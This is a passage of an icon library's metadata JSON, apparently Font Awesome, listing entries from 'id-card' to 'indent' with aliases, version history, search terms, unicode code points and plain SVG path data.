        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M256 48V64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H256zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M256 48V64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H256zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "id-card": {
    "aliases": {
      "names": ["drivers-license"],
      "unicodes": {
        "composite": ["f2c3"],
        "secondary": ["10f2c2"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "5.8.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "contact",
        "demographics",
        "document",
        "identification",
        "issued",
        "profile",
        "registration"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2c2",
    "label": "Id Card",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96l576 0c0-35.3-28.7-64-64-64H64C28.7 32 0 60.7 0 96zm0 32V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128H0zM64 405.3c0-29.5 23.9-53.3 53.3-53.3H234.7c29.5 0 53.3 23.9 53.3 53.3c0 5.9-4.8 10.7-10.7 10.7H74.7c-5.9 0-10.7-4.8-10.7-10.7zM176 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm176 16c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96l576 0c0-35.3-28.7-64-64-64H64C28.7 32 0 60.7 0 96zm0 32V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128H0zM64 405.3c0-29.5 23.9-53.3 53.3-53.3H234.7c29.5 0 53.3 23.9 53.3 53.3c0 5.9-4.8 10.7-10.7 10.7H74.7c-5.9 0-10.7-4.8-10.7-10.7zM176 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm176 16c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16z"
      },
      "regular": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 160V416c0 8.8-7.2 16-16 16H320c0-44.2-35.8-80-80-80H176c-44.2 0-80 35.8-80 80H64c-8.8 0-16-7.2-16-16V160H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM272 256a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm104-48c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528 160V416c0 8.8-7.2 16-16 16H320c0-44.2-35.8-80-80-80H176c-44.2 0-80 35.8-80 80H64c-8.8 0-16-7.2-16-16V160H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM272 256a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm104-48c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z"
      }
    },
    "free": ["regular", "solid"]
  },
  "id-card-clip": {
    "aliases": {
      "names": ["id-card-alt"],
      "unicodes": {
        "secondary": ["10f47f"]
      }
    },
    "changes": ["5.0.7", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "contact",
        "demographics",
        "document",
        "identification",
        "issued",
        "profile"
      ]
    },
    "styles": ["solid"],
    "unicode": "f47f",
    "label": "Id Card Clip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 0h64c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H256c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM64 64H192v48c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64zM176 437.3c0 5.9 4.8 10.7 10.7 10.7H389.3c5.9 0 10.7-4.8 10.7-10.7c0-29.5-23.9-53.3-53.3-53.3H229.3c-29.5 0-53.3 23.9-53.3 53.3zM288 352a64 64 0 1 0 0-128 64 64 0 1 0 0 128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 0h64c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H256c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM64 64H192v48c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64zM176 437.3c0 5.9 4.8 10.7 10.7 10.7H389.3c5.9 0 10.7-4.8 10.7-10.7c0-29.5-23.9-53.3-53.3-53.3H229.3c-29.5 0-53.3 23.9-53.3 53.3zM288 352a64 64 0 1 0 0-128 64 64 0 1 0 0 128z"
      }
    },
    "free": ["solid"]
  },
  "ideal": {
    "changes": ["5.12.0", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e013",
    "label": "iDeal",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z"
      }
    },
    "free": ["brands"]
  },
  "igloo": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ae"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dome", "dwelling", "eskimo", "home", "house", "ice", "snow"]
    },
    "styles": ["solid"],
    "unicode": "f7ae",
    "label": "Igloo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 33.8V160H48.5C100.2 82.8 188.1 32 288 32c10.8 0 21.5 .6 32 1.8zM352 160V39.1C424.9 55.7 487.2 99.8 527.5 160H352zM29.9 192H96V320H0c0-46 10.8-89.4 29.9-128zM192 320H128V192H448V320H384v32H576v80c0 26.5-21.5 48-48 48H352V352c0-35.3-28.7-64-64-64s-64 28.7-64 64V480H48c-26.5 0-48-21.5-48-48V352H192V320zm288 0V192h66.1c19.2 38.6 29.9 82 29.9 128H480z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 33.8V160H48.5C100.2 82.8 188.1 32 288 32c10.8 0 21.5 .6 32 1.8zM352 160V39.1C424.9 55.7 487.2 99.8 527.5 160H352zM29.9 192H96V320H0c0-46 10.8-89.4 29.9-128zM192 320H128V192H448V320H384v32H576v80c0 26.5-21.5 48-48 48H352V352c0-35.3-28.7-64-64-64s-64 28.7-64 64V480H48c-26.5 0-48-21.5-48-48V352H192V320zm288 0V192h66.1c19.2 38.6 29.9 82 29.9 128H480z"
      }
    },
    "free": ["solid"]
  },
  "image": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f03e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["album", "landscape", "photo", "picture"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f03e",
    "label": "Image",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM323.8 202.5c-4.5-6.6-11.9-10.5-19.8-10.5s-15.4 3.9-19.8 10.5l-87 127.6L170.7 297c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h96 32H424c8.9 0 17.1-4.9 21.2-12.8s3.6-17.4-1.4-24.7l-120-176zM112 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM323.8 202.5c-4.5-6.6-11.9-10.5-19.8-10.5s-15.4 3.9-19.8 10.5l-87 127.6L170.7 297c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h96 32H424c8.9 0 17.1-4.9 21.2-12.8s3.6-17.4-1.4-24.7l-120-176zM112 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      },
      "regular": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 80c8.8 0 16 7.2 16 16V415.8l-5-6.5-136-176c-4.5-5.9-11.6-9.3-19-9.3s-14.4 3.4-19 9.3L202 340.7l-30.5-42.7C167 291.7 159.8 288 152 288s-15 3.7-19.5 10.1l-80 112L48 416.3l0-.3V96c0-8.8 7.2-16 16-16H448zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 80c8.8 0 16 7.2 16 16V415.8l-5-6.5-136-176c-4.5-5.9-11.6-9.3-19-9.3s-14.4 3.4-19 9.3L202 340.7l-30.5-42.7C167 291.7 159.8 288 152 288s-15 3.7-19.5 10.1l-80 112L48 416.3l0-.3V96c0-8.8 7.2-16 16-16H448zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["regular", "solid"]
  },
  "image-portrait": {
    "aliases": {
      "names": ["portrait"],
      "unicodes": {
        "secondary": ["10f3e0"]
      }
    },
    "changes": ["5.0.0", "5.0.3", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["id", "image", "photo", "picture", "selfie"]
    },
    "styles": ["solid"],
    "unicode": "f3e0",
    "label": "Image Portrait",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64l0-384zM128 192a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 356.6c0-37.9 30.7-68.6 68.6-68.6h86.9c37.9 0 68.6 30.7 68.6 68.6c0 15.1-12.3 27.4-27.4 27.4H107.4C92.3 384 80 371.7 80 356.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64l0-384zM128 192a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 356.6c0-37.9 30.7-68.6 68.6-68.6h86.9c37.9 0 68.6 30.7 68.6 68.6c0 15.1-12.3 27.4-27.4 27.4H107.4C92.3 384 80 371.7 80 356.6z"
      }
    },
    "free": ["solid"]
  },
  "images": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f302"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["album", "landscape", "photo", "picture"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f302",
    "label": "Images",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 32c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160zM396 138.7l96 144c4.9 7.4 5.4 16.8 1.2 24.6S480.9 320 472 320H328 280 200c-9.2 0-17.6-5.3-21.6-13.6s-2.9-18.2 2.9-25.4l64-80c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l17.3 21.6 56-84C360.5 132 368 128 376 128s15.5 4 20 10.7zM192 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 32c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160zM396 138.7l96 144c4.9 7.4 5.4 16.8 1.2 24.6S480.9 320 472 320H328 280 200c-9.2 0-17.6-5.3-21.6-13.6s-2.9-18.2 2.9-25.4l64-80c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l17.3 21.6 56-84C360.5 132 368 128 376 128s15.5 4 20 10.7zM192 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 80H512c8.8 0 16 7.2 16 16V320c0 8.8-7.2 16-16 16H490.8L388.1 178.9c-4.4-6.8-12-10.9-20.1-10.9s-15.7 4.1-20.1 10.9l-52.2 79.8-12.4-16.9c-4.5-6.2-11.7-9.8-19.4-9.8s-14.8 3.6-19.4 9.8L175.6 336H160c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16zM96 96V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120zm208 24a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 80H512c8.8 0 16 7.2 16 16V320c0 8.8-7.2 16-16 16H490.8L388.1 178.9c-4.4-6.8-12-10.9-20.1-10.9s-15.7 4.1-20.1 10.9l-52.2 79.8-12.4-16.9c-4.5-6.2-11.7-9.8-19.4-9.8s-14.8 3.6-19.4 9.8L175.6 336H160c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16zM96 96V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120zm208 24a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "imdb": {
    "changes": ["4.7.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d8",
    "label": "IMDB",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M89.5 323.6H53.93V186.2H89.5V323.6zM156.1 250.5L165.2 186.2H211.5V323.6H180.5V230.9L167.1 323.6H145.8L132.8 232.9L132.7 323.6H101.5V186.2H147.6C148.1 194.5 150.4 204.3 151.9 215.6L156.1 250.5zM223.7 323.6V186.2H250.3C267.3 186.2 277.3 187.1 283.3 188.6C289.4 190.3 294 192.8 297.2 196.5C300.3 199.8 302.3 203.1 303 208.5C303.9 212.9 304.4 221.6 304.4 234.7V282.9C304.4 295.2 303.7 303.4 302.5 307.6C301.4 311.7 299.4 315 296.5 317.3C293.7 319.7 290.1 321.4 285.8 322.3C281.6 323.1 275.2 323.6 266.7 323.6H223.7zM259.2 209.7V299.1C264.3 299.1 267.5 298.1 268.6 296.8C269.7 294.8 270.4 289.2 270.4 280.1V226.8C270.4 220.6 270.3 216.6 269.7 214.8C269.4 213 268.5 211.8 267.1 210.1C265.7 210.1 263 209.7 259.2 209.7V209.7zM316.5 323.6V186.2H350.6V230.1C353.5 227.7 356.7 225.2 360.1 223.5C363.7 222 368.9 221.1 372.9 221.1C377.7 221.1 381.8 221.9 385.2 223.3C388.6 224.8 391.2 226.8 393.2 229.5C394.9 232.1 395.9 234.8 396.3 237.3C396.7 239.9 396.1 245.3 396.1 253.5V292.1C396.1 300.3 396.3 306.4 395.3 310.5C394.2 314.5 391.5 318.1 387.5 320.1C383.4 324 378.6 325.4 372.9 325.4C368.9 325.4 363.7 324.5 360.2 322.9C356.7 321.1 353.5 318.4 350.6 314.9L348.5 323.6L316.5 323.6zM361.6 302.9C362.3 301.1 362.6 296.9 362.6 290.4V255C362.6 249.4 362.3 245.5 361.5 243.8C360.8 241.9 357.8 241.1 355.7 241.1C353.7 241.1 352.3 241.9 351.6 243.4C351 244.9 350.6 248.8 350.6 255V291.4C350.6 297.5 351 301.4 351.8 303C352.4 304.7 353.9 305.5 355.9 305.5C358.1 305.5 360.1 304.7 361.6 302.9L361.6 302.9zM418.4 32.04C434.1 33.27 447.1 47.28 447.1 63.92V448.1C447.1 464.5 435.2 478.5 418.9 479.1C418.6 479.1 418.4 480 418.1 480H29.88C29.6 480 29.32 479.1 29.04 479.9C13.31 478.5 1.093 466.1 0 449.7L.0186 61.78C1.081 45.88 13.82 33.09 30.26 31.1H417.7C417.9 31.1 418.2 32.01 418.4 32.04L418.4 32.04zM30.27 41.26C19 42.01 10.02 51.01 9.257 62.4V449.7C9.63 455.1 11.91 460.2 15.7 464C19.48 467.9 24.51 470.3 29.89 470.7H418.1C429.6 469.7 438.7 459.1 438.7 448.1V63.91C438.7 58.17 436.6 52.65 432.7 48.45C428.8 44.24 423.4 41.67 417.7 41.26L30.27 41.26z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M89.5 323.6H53.93V186.2H89.5V323.6zM156.1 250.5L165.2 186.2H211.5V323.6H180.5V230.9L167.1 323.6H145.8L132.8 232.9L132.7 323.6H101.5V186.2H147.6C148.1 194.5 150.4 204.3 151.9 215.6L156.1 250.5zM223.7 323.6V186.2H250.3C267.3 186.2 277.3 187.1 283.3 188.6C289.4 190.3 294 192.8 297.2 196.5C300.3 199.8 302.3 203.1 303 208.5C303.9 212.9 304.4 221.6 304.4 234.7V282.9C304.4 295.2 303.7 303.4 302.5 307.6C301.4 311.7 299.4 315 296.5 317.3C293.7 319.7 290.1 321.4 285.8 322.3C281.6 323.1 275.2 323.6 266.7 323.6H223.7zM259.2 209.7V299.1C264.3 299.1 267.5 298.1 268.6 296.8C269.7 294.8 270.4 289.2 270.4 280.1V226.8C270.4 220.6 270.3 216.6 269.7 214.8C269.4 213 268.5 211.8 267.1 210.1C265.7 210.1 263 209.7 259.2 209.7V209.7zM316.5 323.6V186.2H350.6V230.1C353.5 227.7 356.7 225.2 360.1 223.5C363.7 222 368.9 221.1 372.9 221.1C377.7 221.1 381.8 221.9 385.2 223.3C388.6 224.8 391.2 226.8 393.2 229.5C394.9 232.1 395.9 234.8 396.3 237.3C396.7 239.9 396.1 245.3 396.1 253.5V292.1C396.1 300.3 396.3 306.4 395.3 310.5C394.2 314.5 391.5 318.1 387.5 320.1C383.4 324 378.6 325.4 372.9 325.4C368.9 325.4 363.7 324.5 360.2 322.9C356.7 321.1 353.5 318.4 350.6 314.9L348.5 323.6L316.5 323.6zM361.6 302.9C362.3 301.1 362.6 296.9 362.6 290.4V255C362.6 249.4 362.3 245.5 361.5 243.8C360.8 241.9 357.8 241.1 355.7 241.1C353.7 241.1 352.3 241.9 351.6 243.4C351 244.9 350.6 248.8 350.6 255V291.4C350.6 297.5 351 301.4 351.8 303C352.4 304.7 353.9 305.5 355.9 305.5C358.1 305.5 360.1 304.7 361.6 302.9L361.6 302.9zM418.4 32.04C434.1 33.27 447.1 47.28 447.1 63.92V448.1C447.1 464.5 435.2 478.5 418.9 479.1C418.6 479.1 418.4 480 418.1 480H29.88C29.6 480 29.32 479.1 29.04 479.9C13.31 478.5 1.093 466.1 0 449.7L.0186 61.78C1.081 45.88 13.82 33.09 30.26 31.1H417.7C417.9 31.1 418.2 32.01 418.4 32.04L418.4 32.04zM30.27 41.26C19 42.01 10.02 51.01 9.257 62.4V449.7C9.63 455.1 11.91 460.2 15.7 464C19.48 467.9 24.51 470.3 29.89 470.7H418.1C429.6 469.7 438.7 459.1 438.7 448.1V63.91C438.7 58.17 436.6 52.65 432.7 48.45C428.8 44.24 423.4 41.67 417.7 41.26L30.27 41.26z"
      }
    },
    "free": ["brands"]
  },
  "inbox": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f01c"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["archive", "desk", "email", "mail", "message"]
    },
    "styles": ["solid"],
    "unicode": "f01c",
    "label": "Inbox",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M121 32C91.6 32 66 52 58.9 80.5L1.9 308.4C.6 313.5 0 318.7 0 323.9V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V323.9c0-5.2-.6-10.4-1.9-15.5l-57-227.9C446 52 420.4 32 391 32H121zm0 64H391l48 192H387.8c-12.1 0-23.2 6.8-28.6 17.7l-14.3 28.6c-5.4 10.8-16.5 17.7-28.6 17.7H195.8c-12.1 0-23.2-6.8-28.6-17.7l-14.3-28.6c-5.4-10.8-16.5-17.7-28.6-17.7H73L121 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M121 32C91.6 32 66 52 58.9 80.5L1.9 308.4C.6 313.5 0 318.7 0 323.9V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V323.9c0-5.2-.6-10.4-1.9-15.5l-57-227.9C446 52 420.4 32 391 32H121zm0 64H391l48 192H387.8c-12.1 0-23.2 6.8-28.6 17.7l-14.3 28.6c-5.4 10.8-16.5 17.7-28.6 17.7H195.8c-12.1 0-23.2-6.8-28.6-17.7l-14.3-28.6c-5.4-10.8-16.5-17.7-28.6-17.7H73L121 96z"
      }
    },
    "free": ["solid"]
  },
  "indent": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f03c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["align", "justify", "paragraph", "tab"]
    },
    "styles": ["solid"],
    "unicode": "f03c",
    "label": "Indent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
